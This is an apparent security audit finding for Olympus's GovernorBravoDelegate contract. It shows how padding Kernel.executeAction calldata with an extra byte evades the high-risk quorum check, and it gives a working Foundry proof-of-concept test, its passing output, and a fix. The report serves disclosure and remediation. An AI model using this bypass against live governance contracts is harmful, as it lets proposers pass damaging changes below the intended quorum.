Round Grape Wasp

medium

# Proposers can avoid the high risk quorum for high risk proposals by adding additional calldata

## Summary
Strict equality checks on calldata length when checking for high risk proposals allows proposers to create calldata for high risk actions that bypasses high risk criteria and results in using the standard quorum instead of the intended high risk quorum.

## Vulnerability Detail
When creating a proposal in `propose`, the transactions are checked in `_isHighRiskProposal` to determine whether they are 'high risk' - whether or not they impact 'high risk' modules managed in the kernel (these modules are set by governance through `_setModuleRiskLevel`). If not identified as high risk, the quorum (min no. of for votes needed for the proposal to succeed) is set to 20% of total gOHM supply. Otherwise, it is set to a higher 30% making it harder to pass.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/6171681cfeec8a24b0449f988b75908b5e640a35/bophades/src/external/governance/GovernorBravoDelegate.sol#L169-L182
```solidity
            if (_isHighRiskProposal(targets, signatures, calldatas)) {
                quorumVotes = getHighRiskQuorumVotes();
            } else {
                quorumVotes = getQuorumVotes();
            }
            ...
            newProposal.quorumVotes = quorumVotes;
```
In `_isHighRiskProposal`, each transaction is only checked if the target is the kernel, the function selector corresponds to `Kernel.executeAction`, the calldata/arguments are a specific length that match the `Kernel.executeAction` function signature, and the action is upgrading a module, activating a policy, or deactivating a policy.
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/6171681cfeec8a24b0449f988b75908b5e640a35/bophades/src/external/governance/GovernorBravoDelegate.sol#L620-L663
```solidity
        for (uint256 i = 0; i < numActions; i++) {
            address target = targets[i];
            string memory signature = signatures[i];
            bytes memory data = calldatas[i];

            if (target == kernel) {
                // Get function selector
                bytes4 selector = bytes(signature).length == 0
                    ? bytes4(data)
                    : bytes4(keccak256(bytes(signature)));

                // Check if the action is making a core change to system via the kernel
                if (selector == Kernel.executeAction.selector) {
                    uint8 action;
                    address actionTarget;

                    if (bytes(signature).length == 0 && data.length == 0x44) {
                        assembly {
                            action := mload(add(data, 0x24)) // accounting for length and selector in first 4 bytes
                            actionTarget := mload(add(data, 0x44))
                        }
                    } else if (data.length == 0x40) {
                        (action, actionTarget) = abi.decode(data, (uint8, address));
                    } else {
                        continue;
                    }

                    // If the action is upgrading a module (1)
                    if (action == 1) {
                        // Check if the module has a high risk keycode
                        if (isKeycodeHighRisk[Module(actionTarget).KEYCODE()]) return true;
                    }
                    // If the action is installing (2) or deactivating (3) a policy, pull the list of dependencies
                    else if (action == 2 || action == 3) {
                        // Call `configureDependencies` on the policy
                        Keycode[] memory dependencies = Policy(actionTarget)
                            .configureDependencies();

                        // Iterate over dependencies and looks for high risk keycodes
                        uint256 numDeps = dependencies.length;
                        for (uint256 j; j < numDeps; j++) {
                            Keycode dep = dependencies[j];
                            if (isKeycodeHighRisk[dep]) return true;
                        }
```
Notice that we skip checking the risk level of the affected modules for the transaction (instead continuing to the next transaction) if the calldata size does not exactly match up to 64 bytes. Consequently, the proposer can add extra bytes to the end of the calldata to intentionally bypass risk checking for a high risk transaction so the proposal will use the standard quorum.

Paste the PoC below into `GovernorBravoDelegate.t.sol`. It demonstrates the successful execution of a transaction upgrading the TRSRY module (by default high risk as set in the `GovernorBravoDelegate` initialisation) with a proposal that uses the standard quorum instead of the high risk quorum.
<details>
<summary>PoC</summary>

```solidity
function testHighRiskQuorumBypass() public {
        // mint to alice and 0 so alice has ownership of 20% (the standard quorum)
        gohm.mint(address(0), 710_000e18);
        gohm.mint(alice, 290_000e18);
        assertEq(gohm.balanceOf(alice) * 100_000 / gohm.totalSupply(), 20_000);
        console2.log("Alice gOHM balance: ", gohm.balanceOf(alice));
        console2.log("Total supply of gOHM: ", gohm.totalSupply());
        gohm.checkpointVotes(alice);

        // Activate TRSRY
        vm.prank(address(timelock));
        kernel.executeAction(Actions.InstallModule, address(TRSRY));

        // verify that the existing TRSRY module is the currently deployed one
        Keycode trsryKeycode = Module(TRSRY).KEYCODE();
        Module currTrsry = kernel.getModuleForKeycode(trsryKeycode);
        assertEq(address(TRSRY), address(currTrsry));
        console2.log("TRSRY before upgrade: ", address(TRSRY));

        // verify that the TRSRY module is high risk
        bool isHighRisk = GovernorBravoDelegate(address(governorBravoDelegator)).isKeycodeHighRisk(trsryKeycode);
        assertEq(isHighRisk, true);

        // setup proposal to upgrade the TRSRY module, which should be high risk
        address[] memory targets = new address[](1);
        uint256[] memory values = new uint256[](1);
        string[] memory signatures = new string[](1);
        bytes[] memory calldatas = new bytes[](1);
        string memory description = "Upgrade TRSRY module";

        // deploy new OlympusRoles module to upgrade to
        OlympusTreasury newTrsryModule = new OlympusTreasury(kernel);
        targets[0] = address(kernel);
        values[0] = 0;
        signatures[0] = "executeAction(uint8,address)";
        // add extra byte to the end of the calldata to avoid high risk quorum
        calldatas[0] = abi.encodePacked(abi.encode(1, address(newTrsryModule)), uint8(1));

        bytes memory data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getQuorumVotes()")
        );
        uint256 stdQuorum = abi.decode(data, (uint256));

        // just in case ensure that the standard quorum < the high risk quorum
        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getHighRiskQuorumVotes()")
        );
        uint256 highRiskQuorum = abi.decode(data, (uint256));
        assertEq(stdQuorum < highRiskQuorum, true);

        console2.log("Standard quorum: ", stdQuorum);
        console2.log("High risk quorum: ", highRiskQuorum);

        // Create proposal
        vm.prank(alice);
        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature(
                "propose(address[],uint256[],string[],bytes[],string)",
                targets,
                values,
                signatures,
                calldatas,
                description
            )
        );
        uint256 proposalId = abi.decode(data, (uint256));

        // verify that the standard quorum, not the high risk quorum, was used
        data = address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("getProposalQuorum(uint256)", proposalId)
        );
        uint256 proposalQuorum = abi.decode(data, (uint256));
        assertEq(proposalQuorum, stdQuorum);
        console2.log("TRSRY upgrade proposal quorum: ", proposalQuorum);

        // Warp forward so voting period has started
        vm.roll(block.number + 21601);

        // Vote for proposal and warp so voting has ended
        vm.prank(alice);
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("castVote(uint256,uint8)", proposalId, 1)
        );

        vm.roll(block.number + 21600);

        // Queue proposal
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("queue(uint256)", proposalId)
        );

        // Warp forward through timelock delay
        vm.warp(block.timestamp + 7 days + 1);

        // Execute proposal
        address(governorBravoDelegator).functionCall(
            abi.encodeWithSignature("execute(uint256)", proposalId)
        );

        // verify that the TRSRY module was upgraded
        currTrsry = kernel.getModuleForKeycode(trsryKeycode);
        assertEq(address(newTrsryModule), address(currTrsry));
        console2.log("TRSRY after upgrade: ", address(currTrsry));
    }
```
Output
```shell
Running 1 test for src/test/external/GovernorBravoDelegate.t.sol:GovernorBravoDelegateTest
[PASS] testHighRiskQuorumBypass() (gas: 4272784)
Logs:
  Alice gOHM balance:  400000000000000000000000
  Total supply of gOHM:  2000000000000000000000000
  TRSRY before upgrade:  0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
  Standard quorum:  400000000000000000000000
  High risk quorum:  600000000000000000000000
  TRSRY upgrade proposal quorum:  400000000000000000000000
  TRSRY after upgrade:  0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF
```
</details>

## Impact
Proposers can create high risk proposals with a lower quorum than expected removing an intended safe guard and increasing the risk of potentially damaging proposals succeeding.

## Code Snippet
https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/6171681cfeec8a24b0449f988b75908b5e640a35/bophades/src/external/governance/GovernorBravoDelegate.sol#L620-L663

## Tool used

Manual Review, Foundry

## Recommendation
In `_isHighRiskProposal`, validate that `data.length == 0x44` if the signature is not specified or `data.length == 0x40` if the signature is specified for transactions calling `Kernel.executeAction`. Otherwise, always decode if `data.length >= 0x44` or `data.length >= 0x40`.